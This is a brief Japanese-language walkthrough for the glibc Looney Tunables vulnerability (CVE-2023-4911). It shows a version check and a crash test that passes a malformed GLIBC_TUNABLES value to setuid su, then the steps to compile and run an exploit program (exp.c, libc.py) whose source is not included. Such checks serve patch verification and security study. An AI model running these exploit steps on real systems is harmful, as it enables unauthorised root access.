
Looney Tunables CVE-2023-4911
glibc のバージョンを確認します
ldd --version
マシンが Looney Tunables CVE-2023-4911 に対して脆弱かどうかを確認します
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped) が表示された場合、マシンは脆弱です。
python3 libc.py
gcc -o exp exp.c
./exp